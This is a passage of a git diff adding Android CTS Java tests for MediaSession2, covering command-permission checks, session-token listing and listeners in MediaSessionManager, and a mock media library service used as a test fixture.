+    public void testSkipToPrevious() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM, (controller) -> {
+            controller.skipToPreviousItem();
+        });
+    }
+
+    @Test
+    public void testSkipToPlaylistItem() throws InterruptedException {
+        MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_TO_PLAYLIST_ITEM, (controller) -> {
+            controller.skipToPlaylistItem(testItem);
+        });
+    }
+
+    @Test
+    public void testSetPlaylist() throws InterruptedException {
+        List<MediaItem2> list = TestUtils.createPlaylist(2);
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_SET_LIST, (controller) -> {
+            controller.setPlaylist(list, null);
+        });
+    }
+
+    @Test
+    public void testUpdatePlaylistMetadata() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_SET_LIST_METADATA, (controller) -> {
+            controller.updatePlaylistMetadata(null);
+        });
+    }
+
+    @Test
+    public void testAddPlaylistItem() throws InterruptedException {
+        MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_ADD_ITEM, (controller) -> {
+            controller.addPlaylistItem(0, testItem);
+        });
+    }
+
+    @Test
+    public void testRemovePlaylistItem() throws InterruptedException {
+        MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_REMOVE_ITEM, (controller) -> {
+            controller.removePlaylistItem(testItem);
+        });
+    }
+
+    @Test
+    public void testReplacePlaylistItem() throws InterruptedException {
+        MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_REPLACE_ITEM, (controller) -> {
+            controller.replacePlaylistItem(0, testItem);
+        });
+    }
+
+    @Test
+    public void testSetVolume() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_SET_VOLUME, (controller) -> {
+            controller.setVolumeTo(0, 0);
+        });
+    }
+
+    @Test
+    public void testPlayFromMediaId() throws InterruptedException {
+        final String mediaId = "testPlayFromMediaId";
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID));
+        createController(mSession.getToken()).playFromMediaId(mediaId, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPlayFromMediaIdCalled);
+        assertEquals(mediaId, mCallback.mMediaId);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID));
+        createController(mSession.getToken()).playFromMediaId(mediaId, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPlayFromMediaIdCalled);
+    }
+
+    @Test
+    public void testPlayFromUri() throws InterruptedException {
+        final Uri uri = Uri.parse("play://from.uri");
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_URI));
+        createController(mSession.getToken()).playFromUri(uri, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPlayFromUriCalled);
+        assertEquals(uri, mCallback.mUri);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_URI));
+        createController(mSession.getToken()).playFromUri(uri, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPlayFromUriCalled);
+    }
+
+    @Test
+    public void testPlayFromSearch() throws InterruptedException {
+        final String query = "testPlayFromSearch";
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_SEARCH));
+        createController(mSession.getToken()).playFromSearch(query, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPlayFromSearchCalled);
+        assertEquals(query, mCallback.mQuery);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_SEARCH));
+        createController(mSession.getToken()).playFromSearch(query, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPlayFromSearchCalled);
+    }
+
+    @Test
+    public void testPrepareFromMediaId() throws InterruptedException {
+        final String mediaId = "testPrepareFromMediaId";
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID));
+        createController(mSession.getToken()).prepareFromMediaId(mediaId, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPrepareFromMediaIdCalled);
+        assertEquals(mediaId, mCallback.mMediaId);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID));
+        createController(mSession.getToken()).prepareFromMediaId(mediaId, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPrepareFromMediaIdCalled);
+    }
+
+    @Test
+    public void testPrepareFromUri() throws InterruptedException {
+        final Uri uri = Uri.parse("prepare://from.uri");
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_URI));
+        createController(mSession.getToken()).prepareFromUri(uri, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPrepareFromUriCalled);
+        assertEquals(uri, mCallback.mUri);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_URI));
+        createController(mSession.getToken()).prepareFromUri(uri, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPrepareFromUriCalled);
+    }
+
+    @Test
+    public void testPrepareFromSearch() throws InterruptedException {
+        final String query = "testPrepareFromSearch";
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+        createController(mSession.getToken()).prepareFromSearch(query, null);
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPrepareFromSearchCalled);
+        assertEquals(query, mCallback.mQuery);
+        assertNull(mCallback.mExtras);
+
+        createSessionWithAllowedActions(
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+        createController(mSession.getToken()).prepareFromSearch(query, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnPrepareFromSearchCalled);
+    }
+
+    @Test
+    public void testChangingPermissionWithSetAllowedCommands() throws InterruptedException {
+        final String query = "testChangingPermissionWithSetAllowedCommands";
+        createSessionWithAllowedActions(
+                createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+
+        ControllerCallbackForPermissionChange controllerCallback =
+                new ControllerCallbackForPermissionChange();
+        MediaController2 controller =
+                createController(mSession.getToken(), true, controllerCallback);
+
+        controller.prepareFromSearch(query, null);
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnPrepareFromSearchCalled);
+        assertEquals(query, mCallback.mQuery);
+        assertNull(mCallback.mExtras);
+        mCallback.reset();
+
+        // Change allowed commands.
+        mSession.setAllowedCommands(getTestControllerInfo(),
+                createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+        assertTrue(controllerCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        controller.prepareFromSearch(query, null);
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    private ControllerInfo getTestControllerInfo() {
+        List<ControllerInfo> controllers = mSession.getConnectedControllers();
+        assertNotNull(controllers);
+        for (int i = 0; i < controllers.size(); i++) {
+            if (Process.myUid() == controllers.get(i).getUid()) {
+                return controllers.get(i);
+            }
+        }
+        fail("Failed to get test controller info");
+        return null;
+    }
+
+    @FunctionalInterface
+    private interface PermissionTestRunnable {
+        void run(@NonNull MediaController2 controller);
+    }
+
+    public class MySessionCallback extends MediaSession2.SessionCallback {
+        public CountDownLatch mCountDownLatch;
+
+        public SessionCommand2 mCommand;
+        public String mMediaId;
+        public String mQuery;
+        public Uri mUri;
+        public Bundle mExtras;
+
+        public boolean mOnCommandRequestCalled;
+        public boolean mOnPlayFromMediaIdCalled;
+        public boolean mOnPlayFromSearchCalled;
+        public boolean mOnPlayFromUriCalled;
+        public boolean mOnPrepareFromMediaIdCalled;
+        public boolean mOnPrepareFromSearchCalled;
+        public boolean mOnPrepareFromUriCalled;
+
+
+        public MySessionCallback() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        public void reset() {
+            mCountDownLatch = new CountDownLatch(1);
+
+            mCommand = null;
+            mMediaId = null;
+            mQuery = null;
+            mUri = null;
+            mExtras = null;
+
+            mOnCommandRequestCalled = false;
+            mOnPlayFromMediaIdCalled = false;
+            mOnPlayFromSearchCalled = false;
+            mOnPlayFromUriCalled = false;
+            mOnPrepareFromMediaIdCalled = false;
+            mOnPrepareFromSearchCalled = false;
+            mOnPrepareFromUriCalled = false;
+        }
+
+        @Override
+        public boolean onCommandRequest(MediaSession2 session, ControllerInfo controller,
+                SessionCommand2 command) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnCommandRequestCalled = true;
+            mCommand = command;
+            mCountDownLatch.countDown();
+            return super.onCommandRequest(session, controller, command);
+        }
+
+        @Override
+        public void onPlayFromMediaId(MediaSession2 session, ControllerInfo controller,
+                String mediaId, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPlayFromMediaIdCalled = true;
+            mMediaId = mediaId;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPlayFromSearch(MediaSession2 session, ControllerInfo controller,
+                String query, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPlayFromSearchCalled = true;
+            mQuery = query;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPlayFromUri(MediaSession2 session, ControllerInfo controller,
+                Uri uri, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPlayFromUriCalled = true;
+            mUri = uri;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPrepareFromMediaId(MediaSession2 session, ControllerInfo controller,
+                String mediaId, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPrepareFromMediaIdCalled = true;
+            mMediaId = mediaId;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPrepareFromSearch(MediaSession2 session, ControllerInfo controller,
+                String query, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPrepareFromSearchCalled = true;
+            mQuery = query;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPrepareFromUri(MediaSession2 session, ControllerInfo controller,
+                Uri uri, Bundle extras) {
+            assertEquals(Process.myUid(), controller.getUid());
+            mOnPrepareFromUriCalled = true;
+            mUri = uri;
+            mExtras = extras;
+            mCountDownLatch.countDown();
+        }
+
+        // TODO(jaewan): Add permission test for setRating()
+    }
+
+    public class ControllerCallbackForPermissionChange extends MediaController2.ControllerCallback {
+        public CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+        @Override
+        public void onAllowedCommandsChanged(MediaController2 controller,
+                SessionCommandGroup2 commands) {
+            mCountDownLatch.countDown();
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
new file mode 100644
index 0000000..8fad77a
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
@@ -0,0 +1,339 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.media.MediaController2;
+import android.media.MediaPlayerBase;
+import android.media.MediaSession2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.media.session.MediaSessionManager;
+import android.media.session.MediaSessionManager.OnSessionTokensChangedListener;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaSessionManager} with {@link MediaSession2} specific APIs.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSessionManager_MediaSession2Test extends MediaSession2TestBase {
+    private static final String TAG = "MediaSessionManager_MediaSession2Test";
+
+    private MediaSessionManager mManager;
+    private MediaSession2 mSession;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mManager = (MediaSessionManager) mContext.getSystemService(Context.MEDIA_SESSION_SERVICE);
+
+        // Specify TAG here so {@link MediaSession2.getInstance()} doesn't complaint about
+        // per test thread differs across the {@link MediaSession2} with the same TAG.
+        final MockPlayer player = new MockPlayer(1);
+        mSession = new MediaSession2.Builder(mContext)
+                .setPlayer(player)
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() { })
+                .setId(TAG)
+                .build();
+    }
+
+    @After
+    @Override
+    public void cleanUp() throws Exception {
+        super.cleanUp();
+        sHandler.removeCallbacksAndMessages(null);
+        mSession.close();
+    }
+
+    // TODO(jaewan): Make this host-side test to see per-user behavior.
+    @Ignore
+    @Test
+    public void testGetMediaSession2Tokens_hasMediaController() throws InterruptedException {
+        final MockPlayer player = (MockPlayer) mSession.getPlayer();
+        player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_IDLE);
+
+        MediaController2 controller = null;
+        List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+        assertNotNull(tokens);
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            if (mContext.getPackageName().equals(token.getPackageName())
+                    && TAG.equals(token.getId())) {
+                assertNull(controller);
+                controller = createController(token);
+            }
+        }
+        assertNotNull(controller);
+
+        // Test if the found controller is correct one.
+        assertEquals(MediaPlayerBase.PLAYER_STATE_IDLE, controller.getPlayerState());
+        controller.play();
+
+        assertTrue(player.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertTrue(player.mPlayCalled);
+    }
+
+    /**
+     * Test if server recognizes a session even if the session refuses the connection from server.
+     *
+     * @throws InterruptedException
+     */
+    @Test
+    public void testGetSessionTokens_sessionRejected() throws InterruptedException {
+        mSession.close();
+        mSession = new MediaSession2.Builder(mContext).setPlayer(new MockPlayer(0))
+                .setId(TAG).setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public SessionCommandGroup2 onConnect(
+                            MediaSession2 session, ControllerInfo controller) {
+                        // Reject all connection request.
+                        return null;
+                    }
+                }).build();
+
+        boolean foundSession = false;
+        List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+        assertNotNull(tokens);
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            if (mContext.getPackageName().equals(token.getPackageName())
+                    && TAG.equals(token.getId())) {
+                assertFalse(foundSession);
+                foundSession = true;
+            }
+        }
+        assertTrue(foundSession);
+    }
+
+    @Test
+    public void testGetMediaSession2Tokens_sessionClosed() throws InterruptedException {
+        mSession.close();
+
+        // When a session is closed, it should lose binder connection between server immediately.
+        // So server will forget the session.
+        List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            assertFalse(mContext.getPackageName().equals(token.getPackageName())
+                    && TAG.equals(token.getId()));
+        }
+    }
+
+    @Test
+    public void testGetMediaSessionService2Token() throws InterruptedException {
+        boolean foundTestSessionService = false;
+        boolean foundTestLibraryService = false;
+        List<SessionToken2> tokens = mManager.getSessionServiceTokens();
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            if (mContext.getPackageName().equals(token.getPackageName())
+                    && MockMediaSessionService2.ID.equals(token.getId())) {
+                assertFalse(foundTestSessionService);
+                assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+                foundTestSessionService = true;
+            } else if (mContext.getPackageName().equals(token.getPackageName())
+                    && MockMediaLibraryService2.ID.equals(token.getId())) {
+                assertFalse(foundTestLibraryService);
+                assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+                foundTestLibraryService = true;
+            }
+        }
+        assertTrue(foundTestSessionService);
+        assertTrue(foundTestLibraryService);
+    }
+
+    @Test
+    public void testGetAllSessionTokens() throws InterruptedException {
+        boolean foundTestSession = false;
+        boolean foundTestSessionService = false;
+        boolean foundTestLibraryService = false;
+        List<SessionToken2> tokens = mManager.getAllSessionTokens();
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            if (!mContext.getPackageName().equals(token.getPackageName())) {
+                continue;
+            }
+            switch (token.getId()) {
+                case TAG:
+                    assertFalse(foundTestSession);
+                    foundTestSession = true;
+                    break;
+                case MockMediaSessionService2.ID:
+                    assertFalse(foundTestSessionService);
+                    foundTestSessionService = true;
+                    assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+                    break;
+                case MockMediaLibraryService2.ID:
+                    assertFalse(foundTestLibraryService);
+                    assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+                    foundTestLibraryService = true;
+                    break;
+                default:
+                    fail("Unexpected session " + token + " exists in the package");
+            }
+        }
+        assertTrue(foundTestSession);
+        assertTrue(foundTestSessionService);
+        assertTrue(foundTestLibraryService);
+    }
+
+    @Test
+    public void testAddOnSessionTokensChangedListener() throws InterruptedException {
+        TokensChangedListener listener = new TokensChangedListener();
+        mManager.addOnSessionTokensChangedListener(sHandlerExecutor, listener);
+
+        listener.reset();
+        MediaSession2 session1 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertTrue(listener.await());
+        assertTrue(listener.findToken(session1.getToken()));
+
+        listener.reset();
+        session1.close();
+        assertTrue(listener.await());
+        assertFalse(listener.findToken(session1.getToken()));
+
+        listener.reset();
+        MediaSession2 session2 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertTrue(listener.await());
+        assertFalse(listener.findToken(session1.getToken()));
+        assertTrue(listener.findToken(session2.getToken()));
+
+        listener.reset();
+        MediaSession2 session3 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertTrue(listener.await());
+        assertFalse(listener.findToken(session1.getToken()));
+        assertTrue(listener.findToken(session2.getToken()));
+        assertTrue(listener.findToken(session3.getToken()));
+
+        listener.reset();
+        session2.close();
+        assertTrue(listener.await());
+        assertFalse(listener.findToken(session1.getToken()));
+        assertFalse(listener.findToken(session2.getToken()));
+        assertTrue(listener.findToken(session3.getToken()));
+
+        listener.reset();
+        session3.close();
+        assertTrue(listener.await());
+        assertFalse(listener.findToken(session1.getToken()));
+        assertFalse(listener.findToken(session2.getToken()));
+        assertFalse(listener.findToken(session3.getToken()));
+
+        mManager.removeOnSessionTokensChangedListener(listener);
+    }
+
+    @Test
+    public void testRemoveOnSessionTokensChangedListener() throws InterruptedException {
+        TokensChangedListener listener = new TokensChangedListener();
+        mManager.addOnSessionTokensChangedListener(sHandlerExecutor, listener);
+
+        listener.reset();
+        MediaSession2 session1 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertTrue(listener.await());
+
+        mManager.removeOnSessionTokensChangedListener(listener);
+
+        listener.reset();
+        session1.close();
+        assertFalse(listener.await());
+
+        listener.reset();
+        MediaSession2 session2 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertFalse(listener.await());
+
+        listener.reset();
+        MediaSession2 session3 = new MediaSession2.Builder(mContext)
+                .setPlayer(new MockPlayer(0))
+                .setId(UUID.randomUUID().toString())
+                .build();
+        assertFalse(listener.await());
+
+        listener.reset();
+        session2.close();
+        assertFalse(listener.await());
+
+        listener.reset();
+        session3.close();
+        assertFalse(listener.await());
+    }
+
+    private class TokensChangedListener implements OnSessionTokensChangedListener {
+        private CountDownLatch mLatch;
+        private List<SessionToken2> mTokens;
+
+        private void reset() {
+            mLatch = new CountDownLatch(1);
+            mTokens = null;
+        }
+
+        private boolean await() throws InterruptedException {
+            return mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS);
+        }
+
+        private boolean findToken(SessionToken2 token) {
+            return mTokens.contains(token);
+        }
+
+        @Override
+        public void onSessionTokensChanged(List<SessionToken2> tokens) {
+            mTokens = tokens;
+            mLatch.countDown();
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java b/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java
new file mode 100644
index 0000000..4c4b3f6
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java
@@ -0,0 +1,236 @@
+/*
+* Copyright 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+*      http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+package android.media.cts;
+
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.media.DataSourceDesc;
+import android.media.MediaItem2;
+import android.media.MediaLibraryService2;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaLibraryService2.MediaLibrarySession.MediaLibrarySessionCallback;
+import android.media.SessionToken2;
+import android.media.cts.TestUtils.SyncHandler;
+import android.os.Bundle;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import android.util.Log;
+
+import java.io.FileDescriptor;
+import java.util.ArrayList;
+import java.util.List;
+
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.concurrent.GuardedBy;
+
+/**
+ * Mock implementation of {@link MediaLibraryService2} for testing.
+ */
+public class MockMediaLibraryService2 extends MediaLibraryService2 {
+    // Keep in sync with the AndroidManifest.xml
+    public static final String ID = "TestLibrary";
+
+    public static final String ROOT_ID = "rootId";
+    public static final Bundle EXTRAS = new Bundle();
+
+    public static final String MEDIA_ID_GET_ITEM = "media_id_get_item";
+
+    public static final String PARENT_ID = "parent_id";
+    public static final String PARENT_ID_NO_CHILDREN = "parent_id_no_children";
+    public static final String PARENT_ID_ERROR = "parent_id_error";
+
+    public static final List<MediaItem2> GET_CHILDREN_RESULT = new ArrayList<>();
+    public static final int CHILDREN_COUNT = 100;
+
+    public static final String SEARCH_QUERY = "search_query";
+    public static final String SEARCH_QUERY_TAKES_TIME = "search_query_takes_time";
+    public static final int SEARCH_TIME_IN_MS = 5000;
+    public static final String SEARCH_QUERY_EMPTY_RESULT = "search_query_empty_result";
+
+    public static final List<MediaItem2> SEARCH_RESULT = new ArrayList<>();
+    public static final int SEARCH_RESULT_COUNT = 50;
+
+    private static final DataSourceDesc DATA_SOURCE_DESC =
+            new DataSourceDesc.Builder().setDataSource(new FileDescriptor()).build();
+
+    private static final String TAG = "MockMediaLibrarySvc2";
+
+    static {
+        EXTRAS.putString(ROOT_ID, ROOT_ID);
+    }
+    @GuardedBy("MockMediaLibraryService2.class")
+    private static SessionToken2 sToken;
+
+    private MediaLibrarySession mSession;
+
+    public MockMediaLibraryService2() {
+        super();
+        GET_CHILDREN_RESULT.clear();
+        String getChildrenMediaIdPrefix = "get_children_media_id_";
+        for (int i = 0; i < CHILDREN_COUNT; i++) {
+            GET_CHILDREN_RESULT.add(createMediaItem(getChildrenMediaIdPrefix + i));
+        }
+
+        SEARCH_RESULT.clear();
+        String getSearchResultMediaIdPrefix = "get_search_result_media_id_";
+        for (int i = 0; i < SEARCH_RESULT_COUNT; i++) {
+            SEARCH_RESULT.add(createMediaItem(getSearchResultMediaIdPrefix + i));
+        }
+    }
+
+    @Override
+    public void onCreate() {
+        TestServiceRegistry.getInstance().setServiceInstance(this);
+        super.onCreate();
+    }
+
+    @Override
+    public MediaLibrarySession onCreateSession(String sessionId) {
+        final MockPlayer player = new MockPlayer(1);
+        final SyncHandler handler = (SyncHandler) TestServiceRegistry.getInstance().getHandler();
+        final Executor executor = (runnable) -> handler.post(runnable);
+        MediaLibrarySessionCallback librarySessionCallback = (MediaLibrarySessionCallback)
+                TestServiceRegistry.getInstance().getSessionCallback();
+        if (librarySessionCallback == null) {
+            // Use default callback
+            librarySessionCallback = new TestLibrarySessionCallback();
+        }
+        mSession = new MediaLibrarySession.Builder(MockMediaLibraryService2.this, executor,
+                librarySessionCallback).setPlayer(player).setId(sessionId).build();
+        return mSession;
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        TestServiceRegistry.getInstance().cleanUp();
+    }
+
+    public static SessionToken2 getToken(Context context) {
+        synchronized (MockMediaLibraryService2.class) {
+            if (sToken == null) {
+                sToken = new SessionToken2(context, context.getPackageName(),
+                        MockMediaLibraryService2.class.getName());
+                assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, sToken.getType());
+            }
+            return sToken;
+        }
+    }
+
+    private class TestLibrarySessionCallback extends MediaLibrarySessionCallback {
+        @Override
+        public LibraryRoot onGetLibraryRoot(MediaLibrarySession session, ControllerInfo controller,
+                Bundle rootHints) {
+            return new LibraryRoot(ROOT_ID, EXTRAS);
+        }
+
+        @Override
+        public MediaItem2 onGetItem(MediaLibrarySession session, ControllerInfo controller,
+                String mediaId) {
+            if (MEDIA_ID_GET_ITEM.equals(mediaId)) {
+                return createMediaItem(mediaId);
+            } else {
+                return null;
+            }
+        }
+
+        @Override
+        public List<MediaItem2> onGetChildren(MediaLibrarySession session,
+                ControllerInfo controller, String parentId, int page, int pageSize, Bundle extras) {
+            if (PARENT_ID.equals(parentId)) {
+                return getPaginatedResult(GET_CHILDREN_RESULT, page, pageSize);
+            } else if (PARENT_ID_ERROR.equals(parentId)) {
+                return null;
+            }
+            // Includes the case of PARENT_ID_NO_CHILDREN.
+            return new ArrayList<>();
+        }
+
+        @Override
+        public void onSearch(MediaLibrarySession session, ControllerInfo controllerInfo,
+                String query, Bundle extras) {
+            if (SEARCH_QUERY.equals(query)) {
+                mSession.notifySearchResultChanged(controllerInfo, query, SEARCH_RESULT_COUNT,
+                        extras);
+            } else if (SEARCH_QUERY_TAKES_TIME.equals(query)) {
+                // Searching takes some time. Notify after 5 seconds.
+                Executors.newSingleThreadScheduledExecutor().schedule(new Runnable() {
+                    @Override
+                    public void run() {
+                        mSession.notifySearchResultChanged(
+                                controllerInfo, query, SEARCH_RESULT_COUNT, extras);
+                    }
+                }, SEARCH_TIME_IN_MS, TimeUnit.MILLISECONDS);
+            } else if (SEARCH_QUERY_EMPTY_RESULT.equals(query)) {
+                mSession.notifySearchResultChanged(controllerInfo, query, 0, extras);
+            } else {
+                // TODO: For the error case, how should we notify the browser?
+            }
+        }
+
+        @Override
+        public List<MediaItem2> onGetSearchResult(MediaLibrarySession session,
+                ControllerInfo controllerInfo, String query, int page, int pageSize,
+                Bundle extras) {
+            if (SEARCH_QUERY.equals(query)) {
+                return getPaginatedResult(SEARCH_RESULT, page, pageSize);
+            } else {
+                return null;
+            }
+        }
+    }
+
